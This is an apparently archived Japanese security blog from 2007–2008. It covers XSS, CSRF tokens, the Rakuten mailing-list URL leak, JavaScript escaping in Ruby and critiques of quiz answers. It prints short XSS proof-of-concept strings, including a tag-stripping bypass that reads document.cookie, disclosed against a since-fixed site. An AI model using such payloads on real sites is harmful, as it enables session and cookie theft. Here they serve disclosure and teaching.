で、怖いのはここからです。なんとその翌日、「データが全部消えました!」というメールが……。テスト環境でしか試していないはずだったのに、何故か本番環境のデータまで一緒に消えたというミステリ。
さらに、SQLインジェクションとして届け出たら、
製品開発者は SQL 文自身は実行されず、入力値によってエラーが発生する現象であり、SQL インジェクションとは呼べないと判断されました。
という連絡が来まして、そもそもSQLインジェクションは存在しなかったということに。
では、私が見たものはいったい何だったのか?
……とても怖い心霊現象ですね。稲川淳二とも渡り合える怖さです。
※まあ、本番環境が消えてしまったのはたぶん何かの手違いだろうと思いますが、「SQLインジェクションはなかった」というのはホントに怖い話です。
ともあれ、それ以来、個人的には「単引用符の後ろに文字列を入れない」ということを心がけるようにしております。
※2008-11-19追記: 念のため補足。「単引用符の後ろに文字列を入れない」というのは検査時の注意で、実装の話ではありませんので念のため。私は Advance-Flow の一ユーザに過ぎず、実装とは無関係です。
更新: 2008年11月14日2時0分頃
「データベースファイルは公開ディレクトリに格納すべきではない (d.hatena.ne.jp)」。
重要なデータファイルは、外部から閲覧できるディレクトリに格納すべきではない。外部から閲覧できないディレクトリにしておけば、httpd.confにわざわざ指定する必要もないのだ。
見られて困るデータファイルは、公開ディレクトリに配置して非公開に設定するのではなく、非公開ディレクトリに配置するべきだというお話。
……で、この話で思い出したことが。
以前、社内で「cgi-binはドキュメントルートの外に置いてScriptAliasにするべきだ」という意見に対し、「cgi-binは普通のディレクトリにExecCGIでも良いのではないか」という意見が出て議論になったことがあります。
ScriptAlias派の意見としては、こういうことです。
それに対し、ExecCGI派の意見はこうなのですね。
つまり、「データは見えないディレクトリに置くべし」ということを徹底するために、あえてcgi-bin以下のファイルが見えるように設定するという発想です。まあ半分くらい冗談のような気もしますが、「とにかくScriptAliasのほうが安全」という短絡的な発想よりよっぽど良いかも、と思ったりしたものでした。
※2008-11-14追記: と、のんきに書いていたら、なんということでしょう、吉本興業が丸見え系で情報漏洩。見事に前車の轍を踏みました。このご時世にこんなことが起きるとは……。
関連する話題: セキュリティ
更新: 2008年11月9日13時35分頃
意味不明の死が再び。
どうもメモリを使いすぎているような気がするので、レスポンスをいったんディスクに書いてから返すようにしてみました。実メモリが512MBしかないのに、300MB以上使っていたという……。
※しかし、こういう修正の後はバグが続出したりするのが世の常。少し様子見で。
半日様子を見ましたが、メモリ使用量は170MB前後で落ち着いている模様。効果は出ているようですね。
関連する話題: bakera.jp / hatomaru.dll
更新: 2008年11月7日1時55分頃
こんなのがあったのですね。「ITpro EXPO検定---全11分野で，あなたのIT理解度はいかに？ (itpro.nikkeibp.co.jp)」。
セキュリティ検定の解説もあったので見てみましたが、超難問が3問ほどあったので、独自に解説してみます。
Webブラウザを狙うクロスサイト・スクリプティングは，どのような問題点によって起こるでしょうか。
A） クライアントOSの弱点（ぜい弱性）
B） Webブラウザを使うユーザーの油断
C） Webブラウザの弱点（ぜい弱性）
D） Webサーバーの弱点（ぜい弱性）
以上、セキュリティ検定の解説【問題2】 より
「WebサーバやWebブラウザにもクロスサイトスクリプティング脆弱性がある」という知識を問う問題ですね。XSSというと普通はWebアプリケーションの問題ですが、WebブラウザやWebサーバに問題がある場合もあります。
XSSは、攻撃者の用意したスクリプト等が他のドメインで動作すること全般を指します。ブラウザに問題がある場合、「攻撃者の用意したスクリプトがローカルで実行されてしまう」という強烈なセキュリティホールが発生することがありますが、これもクロスサイトスクリプティングの一種と考えられています。
ブラウザのXSS脆弱性は、当然ながらブラウザ側の問題ですので、ブラウザ側に修正が入ることになります。実際、過去にそのような修正は何度も行われています。最近ですと、Operaの「Advisory: The links panel can allow cross-site scripting (www.opera.com)」が記憶に新しいですね。
WebサーバにXSS脆弱性が存在するケースもあります。良くあるのはエラーページの出力内容がエスケープされていないというものです。最近はさすがに枯れてきた感がありますが、mod_imapのXSS (jvn.jp)などは去年の話ですね。
というわけで、CとDはどちらも正解に見えますが、問題文では、「Webブラウザを狙う」と限定されています。Webサーバに対するXSSでは、Cookieの奪取、フィッシングサイトの表示などが行われますが、ローカル権限でWebブラウザ自体を制御したりするような攻撃は不可能です。ブラウザの脆弱性を突くような攻撃をすれば……と思うかもしれませんが、そのような攻撃は攻撃者自身が用意した悪意あるサイトにアクセスさせれば十分で、WebサイトのXSSとは関係なく実行できます。悪意あるサイトに誘導する目的でXSSが利用される事はありますが、それは単に誘導の手段に使われているだけで、XSSによって攻撃されているわけではありません。
WebブラウザにXSS脆弱性がある場合には、その脆弱性を利用されてWebブラウザが制御されてしまうようなこともあり得ます。よって、Cが正解となります。
Webブラウザを狙う攻撃を避けるために，次のうちで最も効果的な方法はどれでしょうか。
A） アダルト・サイトなどへのアクセスを避ける
B） ウイルス対策ソフトをきちんと運用する
C） JavaScriptが動作しないようにブラウザの設定を変える
D） ActiveXが動作しないようにブラウザの設定を変える
以上、セキュリティ検定の解説【問題3】 より
超難問です。どう見ても正解が存在しません。
Webブラウザを狙う攻撃を避けるために重要なのは、なんといってもセキュリティアップデートでしょう。それを怠っていればJS無効だろうがActiceX無効だろうがやられてしまいます。しかし、選択肢にはこれがなく、頼りない厳しい選択肢ばかりです。
どれも不正解だと思いますが、この中から「最も」効果がありそうなものということであえて選ぶなら、アンチウィルスソフトでしょうか。「きちんと運用」している前提なので、既知の攻撃コードを検出して防いでくれることをある程度期待できると思います。たとえば、カカクコム事件はNOD32が反応したのが発覚のきっかけでしたが、このときNOD32はトロイの木馬を検出し、感染を防いだわけです。
ちなみに、このとき悪用されたのはMS04-013 (www.microsoft.com)で、そもそもセキュリティアップデートをきちんと行っていれば感染しなかったわけですが……。MS04-013はマイコンピュータゾーンでスクリプトが実行されてしまう脆弱性なので、マイコンピュータゾーンのスクリプトを無効にできれば防げますが、そんなことは普通はできません。レジストリ改造で無理矢理無効にすることはできますが、そうするとWindowsの機能が使えなくなったりします。そんなマニアックな設定をしている暇があったらパッチを当てるべきでしょう。
というわけで、あえて選ぶならBかなぁと。もちろん、アンチウィルスで全てが防げるわけではありませんが、「スクリプト無効」とか「ActiveX無効」とかに比べれば、攻撃を防げる確率は高いのではないですかね。
※私は普段スクリプトもActiveXも無効にしていますが、これで攻撃が防げるとは思っていません。そもそも、一般の人にお勧めできないですしね。……一般の人に気軽にお勧めできるという意味では、意外と「アダルト・サイトなどへのアクセスを避ける」が有力な気もしてきたなぁ。:-)
ブラウザへの攻撃では，攻撃者はユーザーを悪質なサイトに誘導し，悪質なプログラムを送り付けます。これを防ぐ策として有効なのはどれでしょうか。
A） FirefoxなどInternet Explorer以外のブラウザを使う
B） URLフィルタリングで悪質サイトへのアクセスを遮断する
C） IDS/IPS（侵入検知/防御システム）を導入する
D） 認証機能を持つプロキシ・サーバーを導入する
以上、セキュリティ検定の解説【問題6】 より
ああ、Dは「改ざんWebサイト対抗にHTTPプロキシ/認証プロキシの導入を――専門家が提言 (itpro.nikkeibp.co.jp)」の話ですね。これ、元の記事が微妙なのだと思いますが、勘違いしている人が結構多いような気がします。
「認証機能を持つプロキシ・サーバー」を導入しても、ユーザは普通に認証して普通に通信し、普通にファイルをダウンロードできます。マルウェアも攻撃コードも普通にダウンロードできますから、感染を回避することはできません。
ただ、「認証機能を持つプロキシ・サーバー」を通すようにすると、感染済みのマルウェアが外部と通信することが難しくなります。最近のマルウェアは外部と独自に通信して情報を送受信したり、追加モジュールをダウンロードしたりすることがあります。マルウェアが自前でHTTPを喋って外部と通信する場合、「認証機能を持つプロキシ・サーバー」を通ることができませんから、通信に失敗します。
そして、中には「初回感染時にはダウンロード機能しか存在せず、危険な機能は全部追加モジュールになっている」というタイプのマルウェアが存在します。こういうタイプのマルウェアの場合、ダウンロードを阻止されると「ダウンロードを試みる」以外に悪意ある活動ができなくなりますので、活動を抑え込むことができるわけです。
ただし、この場合でもマルウェアにはしっかり感染していることに注意してください。単独でちゃんと活動できるマルウェアもありますし、ダウンロードを試みられるだけでも十分迷惑です。
※また、ユーザが一度認証を通れば、ブラウザからの通信はできるということに注意が必要です。マルウェアがブラウザをコントロールして通信するようにプログラムされていれば、外部と通信できてしまいます。「認証機能を持つプロキシ・サーバー」が一般的になれば、マルウェア側が対応してくるだけではないかと言われています。
というわけで、選択肢Dはマルウェアが感染してしまった後の活動を妨害する施策なのです。マルウェアの感染自体を防ぐ施策ではありませんので、注意が必要です。
さて、この問題では「悪質なプログラムを送り付け」られることを防ぐ策を質問しています。説明したとおりDでは防げませんし、AとCは論外ですから、消去法でBの「URLフィルタリング」となりますが……これもかなり微妙で、焼け石に水程度の効果しかないと思います。正解なしとしたいところですが、どうしても一つ選ぶのであればBしかありません。
……ここで講評 (itpro.nikkeibp.co.jp)を読むと、もう何というか、見事に引っかけ問題に引っかかっている感じなのですね。
問題2は「クロスサイト・スクリプティング」という攻撃手法を正しく理解しているかを確認する内容である。クロスサイト・スクリプティングは，ユーザーのブラウザを介して，悪意のスクリプトをぜい弱性のあるWebサイトに送り込む攻撃である。そのパソコンに保存されている個人情報を第三者に転送したりできるという特徴がある。
クロスサイト・スクリプティングが起こる原因となる問題点を聞いたら，正解である「Webサーバーの弱点」が46.2％，「Webブラウザの弱点」が45.1％が拮抗（きっこう）していた。攻撃の仕組みから，「ブラウザに問題あり」と間違えやすいといえる。
うわぁ。「パソコンに保存されている個人情報を第三者に転送したりできる」……って、普通のXSSではそんなことは不可能です。それこそ、ブラウザにXSSがあって、ローカルでスクリプトが動作してしまう場合にのみ可能な攻撃ですね。
DNS Rebindingによって127.0.0.1でスクリプトを動作させる技も考えられますが、それもサーバの脆弱性ではなく、DNS Rebindingを許すクライアント側の問題です。いずれにしても「ブラウザの脆弱性」として良いでしょう。
問題3も間違えやすかった。Webブラウザへの攻撃を避けるための最も効果的な方法を聞いたところ，「ウイルス対策ソフトをきちんと適用する」が37.4％と最も多かった。確かにウイルス対策ソフトの適用は不可欠である。しかし，ウイルスは多種多様であり，ゼロデイ攻撃も多発している。
正解は，「JavaScriptを動作しないように設定する」である（正答率30.0％）。Webブラウザを狙う攻撃の多くは，JavaScriptを悪用する。たとえば，IFRAMEタグを使い，サイズがゼロのフレームを作り，ここで悪質なJavaScriptを実行させる攻撃が流行している。サイズがゼロなので，ユーザーには見えないが，ブラウザ上でせっせと悪さをする。このような攻撃を防ぐには，JavaScriptを実行させないようにする。
「ウイルスは多種多様であり、ゼロデイ攻撃も多発している」という文章を「攻撃手法は多種多様であり、スクリプトに依存しない攻撃も多発している」と書き換えれば結論が180度変わりますね。
いつも思うのですけれど、スクリプト無効って誰でもそんな簡単に運用できるのでしょうか。サイトにアクセスして真っ白の画面が出たとき、ソースを見て「これはスクリプトを有効にすれば動く」という判断ができる人なら運用できると思うのですが、そうでないと厳しいと思うのですよね。HTMLやJSのソースコードが読める人ならともかく、普通の人にはちょっとお勧めできないと思うのです。
確かにURLフィルタリングには，悪質なサイトへのアクセスを防ぐ効果がある。悪質サイトのURLを集めたブラックリストによってアクセスを遮断できる。ただ，攻撃者はボットを埋め込んだ多数のコンピュータをプロキシとして使い，その踏み台を頻繁に切り替えて攻撃を仕掛けてくる。このため，URLフィルタリングでは止めきれないのが実情である。
まあ、確かにBでは「止めきれない」ですが、Dでは「全く止められない」のですから、Bを選ぶよりほかありません。
正解の「認証機能を持つプロキシ・サーバーを導入」は，「悪質なプログラムを送り付ける」ことを防ぐ対策である。悪質なサイトにアクセスしてしまうことを防ぐのは難しい。ならば，そのあとの被害を最小限に抑えようという考え方である。Webサイトにアクセスする際に，プロキシでユーザー認証を必要とするように設定しておく。外部のWebサイトと通信するダウンロードは，この認証でブロックされるため，ウイルスなどの悪意のプログラムが侵入するのを防止できるというわけだ。
これはやはり誤解しているようですね。前半を正しく書き直すと、こうですかね。
不正解の「認証機能を持つプロキシ・サーバーを導入」は，「悪質なプログラムが外部とアクセスする」ことを防ぐ対策である。悪質なプログラムに感染してしまうことを防ぐのは難しい。ならば，そのあとの被害を最小限に抑えようという考え方である。
外部から「悪質なプログラムを送り付ける」ことを防ぐのではなく、感染済みのマルウェアが「悪質なプログラムを取りに行く」ことを防ぐだけです。マルウェアの侵入を防ぐのではなく、侵入してしまった後の活動を妨害することが主眼となっている施策ですので、誤解しないようにしましょう。
正解率は13.7%ということなので、回答者のほとんどは正しく理解できているようで逆に安心ですね。
更新: 2008年10月31日
会社のマシンでWindows UpdateしたらOffice 2003 SP3が出ていたので、なんとなく適用。すると、何故か変換中の文字がまったく見えなくなるという現象が発生しました。
調べてみると、「Microsoft Office 2003 SP3を導入すると、入力した文字が見えなくなったり、黒く反転して表示される (support.justsystems.com)」という文書が。
［キー／ローマ字／色の設定］の［色設定］で［ATOK］が設定されている場合は、［Microsoft IME］を選択します。
［OK］をクリックします。
うわぁ。色設定をATOKにしているとダメだから他のに変えろと。色設定ATOKのままで使い続ける方法は無いということですか。もうね……。
なんかもう、すべて無かったことにしてATOKをインストールしたほうが良いのかも。
※2008-10-31追記: 7月にパッチが出ており、それを適用すると対応できるようです (たまさん情報ありがとうございます)。
関連する話題: Microsoft / ATOK / Microsoft Office
更新: 2008年10月29日
「PHPでのセキュリティ対策についてのメモ (note.openvista.jp)」。なかなか良くまとまっていると思いますが、CSRFの話で少し気になった点が。
第三者が知り得ない文字列（ユーザIDやワンタイムトークンなど）をハッシュ関数（md5関数やsha1関数）を複数回用いて擬似乱数化した文字列をフォームに埋め込んでおき、サーバ側で照合することで、リクエストが利用者の意図した動作かどうかをチェックする
以上、PHPでのセキュリティ対策についてのメモ クロスサイトリクエストフォージェリ（略称：CSRF） より
※強調は引用者による。原文では<span class="weaken">でマーク付けされている
※2008-10-29追記: 引用した部分は既に修正されています。
「疑似乱数化」ってなんでしょう……。「疑似乱数」は良く聞きますが、「疑似乱数化」は耳慣れない言葉です。複数のハッシュ関数で処理することをそう呼ばれているようなのですが、ハッシュ関数を何度通しても得られる結果は常に一定なはずですから、乱数とはあまり関係ないように思います。
それから、ユーザIDをハッシュ関数に通してそれをトークンとして使うという手法は、CSRF対策としては不適切です。ハッシュ関数を通すと、「生成後の値から元の値を推測することが困難になる」という効果が得られます。しかし、ここで推測されて困るのは元の値 (ユーザID) ではなく、生成後の値のほうです。ユーザIDとハッシュアルゴリズムがわかれば攻撃者もトークンを作れてしまいますから、CSRFの対策としては問題があります。
※あるいは、オリジナルのハッシュアルゴリズムを採用して、そのアルゴリズム自体を秘匿するとか? :-)
ワンタイムトークンを使うのであれば、それ自体はCSRFの対策になります。が、トークンが安全に作られていればハッシュ関数を使用する必要はありません。逆に、トークンの生成アルゴリズムに問題があれば、ハッシュ関数を通しても安全にはなりません。ハッシュ関数を使う必要はないと思います。
なお、類似するケースとして、「セッションIDをハッシュ関数で処理してトークンとして利用する」という処理があります。これは実際、よく見かける実装です。ただ、この場合は「トークンを推測されないように」という理由でハッシュ関数を使っているのではなく、「たとえトークンが漏洩してもセッションIDを推測されないように」という理由でハッシュ関数を使っています。つまり、ここでのハッシュ関数による処理はセッションID漏洩への対策であって、CSRFへの対策ではないのです。
※もっとも、「トークンだけ漏れてセッションCookieが漏れない」という状況も考えにくいように思うので、このハッシュ関数も必須ではないように思います。気分的な問題で採用されているというのが近いかも。まあ、やっても害はないので問題ありませんが。
というわけで、「第三者が知り得ない文字列」というところまではよいと思うのですが、その生成方法として「ハッシュ関数を」というのは問題があるように思います。基本的には、安全な疑似乱数を使用して生成する、というのがセオリーでしょう。
とは言っても、とにかく疑似乱数を使えば良いというわけではありません。疑似乱数にもいろいろありますが、線形合同法やメルセンヌ・ツイスタなどのアルゴリズムでは、値を観測することで次に生成される値が予測されてしまう事があります。
……ただ、PHPだと、標準では安全な乱数が使えないかも……。
※通常はセッションIDが安全な疑似乱数によって生成されているので、それをそのまま使うことでもCSRF対策になります。これをそのまま使うのではなく、ハッシュ関数で処理してから使うというのが前述の方法ですね。
※あと、どうでも良いのですが「セキュリティ対策」という言葉自体に違和感があります。セキュリティに対抗してそれを破るという話ではなく、セキュリティを高めるための話をしていますので……。まあ、意味はわかるので問題はありませんが、どちらかというと「セキュリティ施策」とか言った方が良いのかも。
更新: 2008年10月23日
「WEPは10秒で解読可能」、神戸大と広島大のグループが発表 (internet.watch.impress.co.jp)だそうで。
昔から言われていたことではありますが、そろそろ本気で気をつけた方が良いということですね。ニンテンドーWi-Fiネットワークアダプタ (wifi.nintendo.co.jp)のように、ニンテンドーDSと他で使い分けるのが良いのかな……。
森井教授は、「ニンテンドーDSのようにWEPにしか対応していない機器があることなどから、現在でもWEPが広く使われているという現状があるが、先日発表された新モデル（ニンテンドーDSi）ではWPAやWPA2に対応しており、WEPの使用禁止を呼びかけるには良いタイミング」と判断したという。
いやー、しかし、そのためだけに買い換えるというのもちょっと……。ニンテンドーDSiにはGBAスロットがないので、ポケモンが困ったりしますし。
※2008-10-23追記: 実は、DSiでも過去のソフトではWPAやWPA2は使えない模様。参考: ニンテンドーDSiでも従来ソフトではWEPになる?
更新: 2008年10月17日
「[重要] セキュリティアップデート Movable Type 4.22 の提供を開始 (www.movabletype.jp)」。
アプリケーション管理画面の一部において、適切に入力エスケープされないため、クロスサイトスクリプティングが発生しうる
入力エスケープって……。どちらかというとテンプレートの出力時の不具合だと思うわけですが。
……というツッコミはさておき。
※以下、2008-10-17追記。
詳細が出ていないし謝辞も特に表示されていないので、私が届け出たやつの修正なのかどうかが分からないというのが困ったところ。1日後にJVNに出たので、たぶんそうなのでしょうが……。
※なんか他のバグ修正も混ざっているっぽい。
関連する話題: セキュリティ / MT / IPA / JPCERT/CC / 情報セキュリティ早期警戒パートナーシップ / Movable Type
更新: 2008年10月17日
正式版って何やねん、と思うわけですが。どうも8月7日に出た奴と変わっていないようなので、
……という理解で良いのですかね。
Six Apart のセキュリティに関するアナウンスは、なんかいつも分かりにくいような……。
※以下、2008-10-17追記。
ちなみに8月7日の修正には残念ながら修正漏れが大量にありまして、そのことはIPA経由で伝わっているはずなのです。てっきりそれが直ったものかと思ったのですが……調べてみたら全然直っていなかったという。orz
そちらは10月16日にいちおう対応されました。
関連する話題: セキュリティ / MT / IPA / JPCERT/CC / 情報セキュリティ早期警戒パートナーシップ / Movable Type
更新: 2008年10月2日
松下グループの社名変更が本日実施。
「社名変更／ブランド統一情報 (panasonic.co.jp)」で新しいCMが公開されているのですが、未明にこれを繰り返し見ていたら、「ぱ～なそにっ」というフレーズが頭にこびりついて離れなくなってしまいました……。
以前は「あっかっるーいなっしょっなーる」のCMソングが印象的でしたが、今後はこちらを使っていくのでしょうね。
※2008-10-02追記: 連れてって 連れてって(限定盤) (www.amazon.co.jp)
関連する話題: Web
更新: 2008年10月1日
セキュリティホールmemoより: site:emagazine.rakuten.co.jp で検索すると個人情報っぽいものが見えるとか見えないとか。 (www.st.ryukoku.ac.jp)
メールマガジンの設定変更の画面が第三者に見えてしまう、という話のようで。まとめると、
……ということですかね。認証なしでアクセスできてしまうのは明らかにマズイと思いますが……。
しかし、むしろ気になるのは、そのURLがどうしてクロールされたのかという点です。外部のWebサイトからリンクしたりはしないと思いますし、楽天のサイト内からGETのみで辿れるようになっていたとも考えにくいように思います。
あるいは、そもそもブラウザがURLの情報を送信しているとか? 「Google Chromeのプライバシーについて (www.google.com)」を見ると以下のようにあります。
アドレス バーに URL またはキーワードを入力すると、入力した文字が Google に送信され、サジェスト機能によってユーザーの探しているキーワードや URL の候補が自動で提示されます。利用状況データを Google と共有し、提示された検索用語や URL をユーザーが承認した場合は、その情報も Google Chromeから Google に送信されます。この機能を無効にするには、こちらの手順をご覧ください。
Google Chromeでアクセスしたら、URLがGoogleに送られる可能性があるように読めますが……それがクロールに使われることはあるのですかね?
※といっても、べつにGoogle Chromeが漏らしていると断定しているわけではありませんので念のため。Windows Live Search でもクロールされているようですので、むしろChromeは全然関係ない可能性が高いです (Thanks: yamagataさん)。
※追記: どうもソーシャルブックマークから漏洩した可能性が高いようですね。楽天メールマガジン情報漏洩続き。コメントくださったみなさま、ありがとうございます。
関連する話題: セキュリティ / Web / 楽天 / Google Chrome
更新: 2008年10月1日
楽天メールマガジンの件ですが、どうもソーシャルブックマークから拾われた可能性が高いようですね (みなさん情報ありがとうございます)。OK Wave のこのやりとりは衝撃的です。
楽天市場から届くメールを毎回配信停止にしても、次から次へとメールが届くのですがどうすれば届かないようになりますか。
(～中略～)
私は、毎日ここで一発で「配信停止」をしています。
http://emagazine.rakuten.co.jp/ns?act=chg_rmail&k=%25CIlD-u0Lwi...
以上、楽天市場について -OKWave より
イタタタタ……。
楽天で買物をすると、確認画面の一番下の方にメールマガジン配信のチェックボックスがあります。気づきにくい上に、デフォルトでチェックONなのですよね。メールマガジンを受け取りたくない場合、買うたびにこのチェックを外す必要があります。それに気づかないと、「何度配信停止しても、買い物するたびにメールマガジンの送信が再開されてしまう」という現象が起きることになり、そうなっても簡単に配信を停止できるように、「配信停止画面をブックマークしておく」ということが行われていたと……。
ブラウザのブックマークではなく、ソーシャルブックマークを使ってブックマークしたら、それはクロールされますよね。ブックマークするなよ……と言いたくなるところですが、一般のユーザが「このURLを他人に知られてはマズイ」ということに気づくのは難しいでしょう。
URLにセッション追跡や認証のための情報を埋め込む手法については、ずっと前から「Refererから漏洩する」という危険性が指摘されてきました。逆に、「ユーザが自分で積極的にリンクする」なんてことはあまりないだろうと思っていましたが……ソーシャルブックマークの普及によって気軽にリンクができるようになり、ユーザが自分でリンクしてしまう可能性も増しているわけですね。
※そういえば、WASForum Conference 2008 の「携帯電話向けWebのセキュリティ」でも、セッション追跡パラメータつきのURLを貼ってしまうユーザが多いという話が出ていましたね。
※2008-10-01追記: タイトルについて「そんなにしょっちゅうやらかしてたのかと思ってしまった (slashdot.jp)」というご意見をいただきましたので、タイトル変更しました。
関連する話題: セキュリティ / Web / 楽天 / WASForum Conference
更新: 2008年9月20日
Yahoo!ブログ (blogs.yahoo.co.jp)に演劇ライフのブログパーツ (engekilife.com)が貼れそうかどうか調べていたのですが、その過程でどうでも良いことを発見。
以下のように、img要素のsrc属性に javascript: で始まる値が吐かれてしまうというXSSの例がよくあります。
<img src="javascript:alert(1)" />
これは IE6 で見るとスクリプトが実行されますが、Firefoxでは何も起きないというのが通説です。これを実行する意味は無いと思いますし、これで良いと思います。
が、驚いたことに、こういう出力がなされると……
<embed src="javascript:alert(1)"></embed>
なんとFirefoxではこれが実行されるという。互換性の都合で対応しているだけの要素だからかと思いきや、
<object data="javascript:alert(1)"></object>
object要素でも一緒でした。嫌なパターンですね……。
※もっとも、objectやembedで任意のデータを埋め込める時点でいろいろできてしまうはずなので、この形でのスクリプト実行が問題になることは少なかろうと思いますが。
※2008-09-20追記: 脆弱性が修正されたようなので、本文を少し修正しました。
更新: 2008年7月30日
少し前、トレンドマイクロのサイトが改竄された (www.itmedia.co.jp)という話がありましたが、トレンドマイクロのサイトには「弊社ウイルス情報ページの改ざんについて」というお知らせが掲載されていました。
それを見ていたら、ふとページの右上に検索フォームが存在するのに気づいたのですが、その検索フォームにXSSがあってズッコケたので届け出ていたのでした。
そして今日、IPAの方からこんなメールが。
トレンドマイクロの件につきまして、ウェブサイト運営者より、届出いただきました脆弱性に対する修正が完了したとの報告がありましたのでご連絡いたします。
有名サイトですし、改竄報告ページが脆弱というのは面白いので日記に書こうかなと思い、念のため確認してみたわけです。
するとこれが、入力された文字列からタグ部分だけ消去するという、典型的なダメ回避策なわけですよ。そして案の定……。
"><scr<s>ipt>alert(document.cookie)</sc<s>ript>
……こんな感じの検索で貫通。
もっと頑張ってください、としか言いようがないです。
※2008-07-30追記: 修正されたので非公開部分を公開しました。参考: トレンドマイクロのサイトの脆弱性が修正された
関連する話題: Web / セキュリティ / 情報セキュリティ早期警戒パートナーシップ / クロスサイトスクリプティング脆弱性
更新: 2008年1月27日
Web アプリケーションのセキュリティガイドラインには、たいていの場合「スクリプト内に動的生成の文字列などを出力してはならない」という掟があったりするのですが、それにあえて背く場合のお話。
こんな感じの HTML 断片があったとします。
<script type="text/javascript">
<!--
foo.bar = <%= value %>;
//-->
</script>
そして、この「<%= value %>」の部分に、ユーザが検索文字列として入力した任意の値を入れるというのが課題です。もちろん、そのまま出力すると XSS であっさり死亡するので、何らかの処理をしてから出力する必要があります。ちなみに、ユーザが何を入力したのか正確に知りたいので、任意の文字を削除したりすることはできない (削除してしまうと仕様を満たせない) と考えてください。
要はエスケープ処理をすれば良いのですが、このエスケープ処理が凄い難易度です。たとえば、Ruby on Rails の場合だと escape_javascript というヘルパーが用意されているので、
foo.bar = '<%= escape_javascript(value) %>';
……と書けば良さそうに思うかもしれませんが、"</script><iframe……" などが渡されるとあっさり陥落します (おそらく、escape_javascript は外部 JS ファイル内での出力しか想定していない)。
文字列を to_json してしまうと良さそうにも思えますが、
foo.bar = <%= value.to_json %>;
実は to_json だと "--" がそのまま残ってしまうので、COM (コメント区切り子) がインジェクションできてしまいます。まあ script要素の内容モデルは CDATA なので COM が出力されても問題はないと言えばないのですが、
などでコメント区切り子が生きてくる可能性があるので、-- が出力されてしまうと問題があります。
と、そんなこんなでいろいろ考えたのですが、結局、全部 '\uXXXX' の形式 (ありみかさとみ先生 (www.remus.dti.ne.jp)によると「ユニコードエスケープ」と呼ばれたりするらしい) で出力することにしました。「Rails の to_json を 13 倍速くする方法 (d.hatena.ne.jp)」を参考に、こんな感じ。
def js_unicode_escape(text)
text.gsub(/([\x00-\x7f]|[\xC0-\xDF][\x80-\xBF]|[\xE0-\xEF][\x80-\xBF]{2}|[\xF0-\xF7][\x80-\xBF]{3})+/ux) { |s| s.unpack("U*").pack("n*").unpack("H*")[0].gsub(/.{4}/, '\\\\u\&') }
end
これで一切合切が (NUL文字さえも) \uXXXX の形式で出力されるようになったので、これを '' の中に突っ込みます。
foo.bar = '<%= js_unicode_escape(value) %>';
たとえば、「'"</script>-->」という文字列を投入すると、こんな感じで出力されます。
foo.bar = '\u0027\u0022\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u002d\u002d\u003e';
これで、'' の中にはどうやっても \ と u と [0123456789abcdef] しか出現しないはずなので、まあ大丈夫かなぁと……。
※……と、思うのですが、それでも一抹の不安がぬぐえない。
※2008-01-27追記 : ちなみに、このコードは BMP にない文字に対応していません。本来は \x10000 以上の文字はサロゲートペアにして出力してやらないとダメです。
※2009-01-09追記 : サロゲート対応版もどうぞ。
関連する話題: セキュリティ / クロスサイトスクリプティング脆弱性 / Ruby / JavaScript
更新: 2007年7月16日
「IEとFirefoxをインストールしている人は要注意--「非常に重大」なセキュリティリスク (japan.cnet.com)」。
コマンドライン引数のインジェクションですか。とりあえず、レジストリの以下の2つのキーを無効にしておけば良いようですね。
これらを適当にリネームしてみたところ、firefoxurl: は動作しなくなりました。
※セキュリティホールmemoの記述 (www.st.ryukoku.ac.jp)によると Firefox.URL というドット入りのキーもあるらしいのですが、手元の環境には該当するキーはありませんでした。環境依存なのかも。
※2007-07-16追記: 「FirefoxHTML」のほうのレジストリキーは、無効にしなくても大丈夫なようです。IE + Firefox2 の脆弱性 追記参照。
関連する話題: セキュリティ / Internet Explorer / Firefox
更新: 2007年5月16日
「全問正解できる？ HTML文法基礎クイズ (allabout.co.jp)」というものがあるようですが、難易度がとても高いですね。全問正解できる人いるんでしょうか?
私が悩んだ難問だけメモ。
Q1. 非推奨要素
以下の4つの記述のうち、文法的に最新のHTMLでは使わないことが推奨されているものがあります。それはどれでしょうか？
1. <strong> ～ </strong>
2. <b> ～ </b>
3. <table> ～ </table>
4. <h1> ～ </h1>
以上、全問正解できる？ HTML文法基礎クイズ より
初っぱなから超難問で、私には答えが全く分からないのですが……。ちなみに、b要素は使わない方が良いと個人的には思いますが、HTML4.01 では deprecated になっていませんし、XHTML1.1 でも Presentation モジュールの中に含まれています。「文法的に使わないことが推奨されている」となると誤りです。
普通に考えると正解がないのですが、そもそも「最新のHTML」という言葉の定義が問題なのかもしれません。普通に考えると HTML4.01 か XHTML1.1 なのではないかと思いますが、この著者はさらに先を行っている可能性もあります。
調べてみると、XHTML2 の現在の WD では b要素が存在しません。HTML5 ではすべての要素が存在するようですが、bについては「ほかに使える要素がないときだけ使う」という旨の記述もあり、あんまり勧められていない雰囲気です。
※2007-05-16追記: XHTML2 には h1要素もないと思っていましたが、ありましたね。山岸さん、ご指摘ありがとうございます。
というわけで、XHTML2 や HTML5 を想定すると 2. が答えになる可能性はありますが、いくら何でも新しすぎますし、「仕様的に使わないことが推奨されている」とは言えないような気がするのですよね。
HTMLソース内で、最初に記述すべきことは以下のうちのどれでしょうか？（※何も省略せずに記述する場合を考えて下さい。）
1. DOCTYPE宣言
2. XML宣言
3. <html>タグ
4. <head>タグ
以上、全問正解できる？ HTML文法基礎クイズ より
これも難問。「記述しなければならない」であれば答えは明白なのですが、この問題では「記述するべき」となっているので注意が必要です。そもそも、ここで言う「HTMLソース」が XHTML なのかどうかも問題から読み取れません。さらに「何も省略せずに記述する場合を考えて下さい」とあるのも問題をややこしくしています。
XHTML を想定するなら、文書型宣言の前に XML 宣言を記述することが強く推奨されています。XHTML1.0 と XHTML1.1 には、それぞれ以下のような記述があります。
An XML declaration is not required in all XML documents; however XHTML document authors are strongly encouraged to use XML declarations in all their documents.
以上、XHTML1.0(Second Edition) 3.1.1. Strictly Conforming Documents より
XHTML document authors are strongly encouraged to use XML declarations in all their documents.
XML宣言は省略可能ですが、「何も省略せずに記述する場合を考えて下さい」ということですので、XHTML を想定するならこれでファイナルアンサーでしょう。
問題は XML でない HTML を想定したときです。SGML では、文書型宣言の前には注釈宣言と処理命令、そして空白類文字が書ける (けれども省略できる) ことになっています。XML 宣言は処理命令ですから、文書型宣言の前に書くことができる (けれども省略できる) ことになります。「何も省略せずに」という言葉は、SGML な HTML であっても 「XML宣言」を答えとするようにと示唆しているようにも思えます。
ただ、「記述すべきことは……」というのが微妙なのですよね。XHTML でない HTML に XML 宣言を「記述すべき」とは思えませんし。
